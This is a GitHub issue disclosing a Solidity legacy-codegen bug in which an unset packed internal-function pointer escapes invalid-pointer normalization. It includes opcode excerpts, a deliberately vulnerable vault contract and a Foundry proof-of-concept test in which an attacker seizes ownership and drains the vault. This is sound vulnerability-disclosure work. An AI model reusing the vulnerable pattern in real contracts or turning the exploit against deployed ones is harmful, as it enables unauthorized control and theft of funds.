Skip to content

Unset packed internal-function pointers can lead to unintended execution of disabled privileged branches due to missing width masking before invalid-function normalization #16775

Description

@matheusaaguiar

Originally reported by Chris from Spearbit.

Summary

This issue is a compiler miscompilation in legacy (non-viaIR) codegen for packed storage reads of internal-function pointers. When the compiler loads a packed storage slot containing an unset internal-function pointer, it shifts the slot down to the field position but does not first mask the shifted word down to the pointer's 8-byte storage width. If any later packed neighbor in the same slot is non-zero, the shifted word becomes non-zero even though the internal-function field itself is still zero. The legacy path then skips the invalid-function sentinel normalization that should happen for an unset pointer, so equality against a default local invalid pointer flips from true to false. In contracts that use an unset storage hook as a safety gate, this can silently enable privileged state transitions that should remain unreachable.

Impact

A realistic worst-case impact is unauthorized activation of a privileged execution path, allowing an attacker to perform irreversible high-impact actions such as fund movement, role seizure, or upgrade control.

Description

vulnerable source pattern

address public pendingOwner;
function() internal postInit;
uint32 private phase = 1;

function acceptOwner() external {
    function() internal invalid;
    if (postInit == invalid) {
        return;
    }
    owner = pendingOwner;
}

At the source level, postInit is unset and invalid is also unset, so the comparison should be true and acceptOwner() should return early. The bug appears because pendingOwner (20 bytes), postInit (8 bytes), and phase (4 bytes) pack into one slot, and the legacy compiler checks whether the shifted packed word is zero before truncating it back to the 8-byte internal-function width.

vulnerable legacy code shape

SLOAD
...
DIV
DUP1
ISZERO
PUSH [tag] 31
MUL
OR
PUSH FFFFFFFFFFFFFFFF
AND

The important ordering bug is that ISZERO runs before the AND 0xFFFFFFFFFFFFFFFF truncation. If a later packed field such as phase is non-zero, the pre-mask shifted word is non-zero even while the internal-function field itself is still raw zero, so the compiler skips replacing it with the invalid-function sentinel.

vulnerable code flow

attacker calls proposeOwner(attacker)
  -> pendingOwner becomes non-zero
  -> packed slot now holds [pendingOwner | postInit = 0 | phase = 1]
  -> legacy code reads postInit by shifting but not masking to 8 bytes first
  -> shifted word is non-zero because phase contaminates the read
  -> invalid-function sentinel normalization is skipped
  -> postInit == invalid becomes false
  -> acceptOwner writes owner = pendingOwner
  -> attacker calls sweep() and drains funds

The local Foundry PoC demonstrates that an unprivileged attacker can become owner and drain 1 ether from the vault even though postInit was never assigned. At the source level, acceptOwner() should return immediately because both postInit and the local invalid pointer are unset. The passing test shows that legacy codegen breaks that invariant in practice and turns the disabled path into an enabled one.

PoC

PoC contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

contract PackedInternalFunctionPointerVault {
    address public owner;
    address public pendingOwner;
    function() internal postInit;
    uint32 private phase = 1;

    constructor() payable {
        owner = msg.sender;
    }

    function proposeOwner(address newOwner) external {
        pendingOwner = newOwner;
    }

    function acceptOwner() external {
        function() internal invalid;
        if (postInit == invalid) {
            return;
        }
        owner = pendingOwner;
    }

    function sweep() external {
        require(msg.sender == owner, "owner");
        payable(msg.sender).transfer(address(this).balance);
    }
}

PoC test

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import "forge-std/Test.sol";

contract PackedInternalFunctionPointerVault {
    address public owner;
    address public pendingOwner;
    function() internal postInit;
    uint32 private phase = 1;

    constructor() payable {
        owner = msg.sender;
    }

    function proposeOwner(address newOwner) external {
        pendingOwner = newOwner;
    }

    function acceptOwner() external {
        function() internal invalid;
        if (postInit == invalid) {
            return;
        }
        owner = pendingOwner;
    }

    function sweep() external {
        require(msg.sender == owner, "owner");
        payable(msg.sender).transfer(address(this).balance);
    }
}

contract PackedInternalFunctionPointerVaultTest is Test {
    PackedInternalFunctionPointerVault internal vault;
    address internal deployer = address(0xA11CE);
    address internal attacker = address(0xBEEF);

    function setUp() public {
        vm.deal(deployer, 10 ether);
        vm.prank(deployer);
        vault = new PackedInternalFunctionPointerVault{value: 1 ether}();
    }

    function testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover() public {
        assertEq(vault.owner(), deployer, "unexpected initial owner");
        assertEq(address(vault).balance, 1 ether, "unexpected initial vault balance");

        vm.prank(attacker);
        vault.proposeOwner(attacker);
        assertEq(vault.pendingOwner(), attacker, "pending owner was not set");

        vm.prank(attacker);
        vault.acceptOwner();
        assertEq(vault.owner(), attacker, "owner did not change");

        uint256 attackerBalanceBefore = attacker.balance;
        vm.prank(attacker);
        vault.sweep();

        assertEq(address(vault).balance, 0, "vault was not drained");
        assertEq(attacker.balance, attackerBalanceBefore + 1 ether, "attacker did not receive funds");
    }
}

Foundry config used

[profile.default]
src = "src"
out = "out"
libs = ["lib"]
solc_version = "0.8.24"
via_ir = false
optimizer = false

PoC Steps

  1. Create a Foundry project and add the contract, test, and config above.
  2. Compile with the legacy pipeline using solc 0.8.24, via_ir = false, and optimizer = false.
  3. Run forge test -vv --match-test testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover.
  4. Observe that the attacker first sets pendingOwner, then successfully calls acceptOwner(), and finally drains the vault with sweep().

PoC Results

The PoC was run locally with:

forge test -vv --match-test testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover

Observed result:

  • testPackedUnsetInternalFunctionPointerEnablesOwnerTakeover() -> PASS
  • owner changed from the deployer to the attacker after acceptOwner()
  • the attacker successfully called sweep()
  • the vault balance dropped from 1 ether to 0
  • the attacker received the drained 1 ether

This is an end-to-end confirmation that the bug is not just a strange comparison artifact: in a realistic privileged-state pattern, it becomes a direct authorization bypass and fund theft path.

Metadata

Metadata

Labels

Type

No type

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions